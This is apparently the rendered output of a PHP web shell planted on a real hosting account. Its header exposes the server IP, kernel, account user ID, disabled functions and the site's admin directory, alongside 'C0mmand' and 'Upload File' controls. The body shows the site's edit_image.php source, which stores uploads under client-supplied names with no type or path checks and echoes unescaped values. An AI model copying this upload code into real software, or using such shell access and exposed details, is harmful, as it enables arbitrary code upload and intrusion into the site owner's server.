|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.91 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/inaugration/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require 'config.php';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$id = $_POST['id'];
$image_name = $_FILES['image']['name'];
$image_tmp_name = $_FILES['image']['tmp_name'];
$image_path = 'uploads/' . $image_name;
move_uploaded_file($image_tmp_name, $image_path);
$stmt = $pdo->prepare("UPDATE images1 SET image_path = :image_path WHERE id = :id");
$stmt->execute(['image_path' => $image_path, 'id' => $id]);
header('Location: admin_panel.php');
} else {
$id = $_GET['id'];
$stmt = $pdo->prepare("SELECT * FROM images1 WHERE id = :id");
$stmt->execute(['id' => $id]);
$image = $stmt->fetch(PDO::FETCH_ASSOC);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Edit Image</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
</head>
<body>
<div class="container mt-5">
<h1>Edit Image</h1>
<form action="edit_image.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="id" value="<?php echo $image['id']; ?>">
<div class="form-group">
<label for="image">Image:</label>
<input type="file" name="image" class="form-control" required>
</div>
<button type="submit" class="btn btn-primary">Update</button>
</form>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>